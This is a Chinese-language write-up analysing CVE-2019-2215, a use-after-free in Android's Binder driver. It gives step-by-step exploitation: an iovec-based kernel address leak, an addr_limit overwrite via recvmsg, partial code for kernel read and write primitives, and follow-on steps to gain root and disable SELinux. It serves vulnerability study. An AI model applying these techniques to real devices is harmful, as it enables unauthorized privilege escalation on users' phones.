CVE-2019-2215—android内核binder漏洞分析(2)
字数 1692 2025-08-26 22:11:39
Android内核Binder漏洞CVE-2019-2215分析与利用
漏洞概述
CVE-2019-2215是Android内核Binder驱动中的一个Use-After-Free漏洞,影响包括Pixel 2、华为P20和三星Galaxy S7/S8/S9等多款设备。该漏洞允许攻击者提升权限,实现内核任意读写,最终获取root权限。
漏洞原理
Binder驱动基础
Binder是Android特有的IPC机制,提供进程间通信功能。主要涉及三种设备:
/dev/binder:用于应用进程间通信/dev/hwbinder:用于硬件抽象层通信/dev/vndbinder:用于供应商进程间通信
漏洞根源
漏洞存在于binder_poll函数中,当线程使用BINDER_THREAD_EXIT显式退出时,waitqueue会被释放但不会从相应的epoll数据结构中删除,导致后续访问时发生UAF。
关键代码路径:
binder_ioctl处理BINDER_THREAD_EXIT命令- 调用
binder_free_thread释放线程结构 - 最终通过
kfree(thread)释放binder_thread对象
利用点
UAF发生在binder_thread对象上,该对象大小约400字节(0x190),通常位于kmalloc-512缓存中。关键利用点是对象中的waitqueue结构:
struct binder_thread {
// ...
wait_queue_head_t wait; // 位于偏移0xA0处
// ...
};
漏洞利用步骤
1. 信息泄露
目标:泄漏内核task_struct结构体地址
方法:
- 创建iovec数组,大小为
BINDER_THREAD_SZ/16(即0x19个) - 在索引
WAITQUEUE_OFFSET/16(即10)处设置特殊iovec:iov_base: 映射的低32位为0的用户空间地址(如0x100000000)iov_len: 0x1000
- 在索引11处设置:
iov_base: 任意值(如0xDEADBEEF)iov_len: 0x1000
- 创建管道用于数据传输
- 触发UAF并通过unlink操作覆写iovec结构
- 通过管道读取泄漏的内核数据
unlink操作:
static inline void __list_del(struct list_head *prev, struct list_head *next) {
next->prev = prev;
WRITE_ONCE(prev->next, next);
}
2. 突破地址限制
目标:修改addr_limit,允许内核访问任意地址
方法:
- 使用recvmsg和特殊构造的iovec数组
- 设置iovec数组:
- 索引10:
iov_base=dummy_page,iov_len=1 - 索引11:
iov_base=0xDEADBEEF,iov_len=0x28 - 索引12:
iov_base=0xBEEFDEAD,iov_len=8
- 索引10:
- 准备写入数据:
unsigned long second_write_chunk[] = { 1, // iov_len 0xdeadbeef, // iov_base (已使用) 0x8 + 2*0x10, // iov_len (已使用) current_ptr + 0x8, // 要写入的地址(addr_limit) 8, // 写入大小 0xfffffffffffffffe // 写入值 }; - 触发UAF并通过recvmsg覆写iovec
- 实现将
addr_limit修改为0xfffffffffffffffe
3. 建立任意读写原语
任意写函数:
void kernel_write(unsigned long kaddr, void *data, size_t len) {
if(write(kernel_rw_pipe[1], data, len) != len) exitWithError(...);
if(read(kernel_rw_pipe[0], (void *)kaddr, len) != len) exitWithError(...);
}
任意读函数:
void kernel_read(unsigned long kaddr, void *data, size_t len) {
if(write(kernel_rw_pipe[1], (void *)kaddr, len) != len) exitWithError(...);
if(read(kernel_rw_pipe[0], data, len) != len) exitWithError(...);
}
关键数据结构
binder_thread结构
struct binder_thread {
struct binder_proc *proc;
struct rb_node rb_node;
struct list_head waiting_thread_node;
int pid;
int looper;
bool looper_need_return;
struct binder_transaction *transaction_stack;
struct list_head todo;
bool process_todo;
struct binder_error return_error;
struct binder_error reply_error;
wait_queue_head_t wait; // 偏移0xA0
struct binder_stats stats;
atomic_t tmp_ref;
bool is_dead;
struct task_struct *task;
};
wait_queue_head_t结构
struct __wait_queue_head {
spinlock_t lock;
struct list_head task_list;
};
typedef struct __wait_queue_head wait_queue_head_t;
iovec结构
struct iovec {
void *iov_base; // 缓冲区地址
size_t iov_len; // 缓冲区长度
};
利用注意事项
-
偏移量确认:不同设备/内核版本中waitqueue的偏移可能不同,需通过反汇编确认:
ADD X0, X8, #0xA0 ; waitqueue位于binder_thread+0xA0 -
稳定性:利用过程较为稳定,失败通常只是返回错误而非内核崩溃
-
后续利用:获得任意读写后可以:
- 修改cred结构获取root权限
- 禁用SELinux
- 修补init_task使新进程自动获得特权
完整利用流程
- 设置epoll和binder文件描述符
- 准备iovec数组用于信息泄露
- 创建管道用于数据传输
- 通过fork创建子进程
- 父进程调用
BINDER_THREAD_EXIT触发UAF - 子进程触发unlink操作破坏iovec结构
- 通过管道读取泄漏的内核地址
- 准备iovec数组用于地址限制突破
- 使用recvmsg和特殊构造的数据覆写addr_limit
- 建立任意读写原语
- 修改cred等关键数据结构实现提权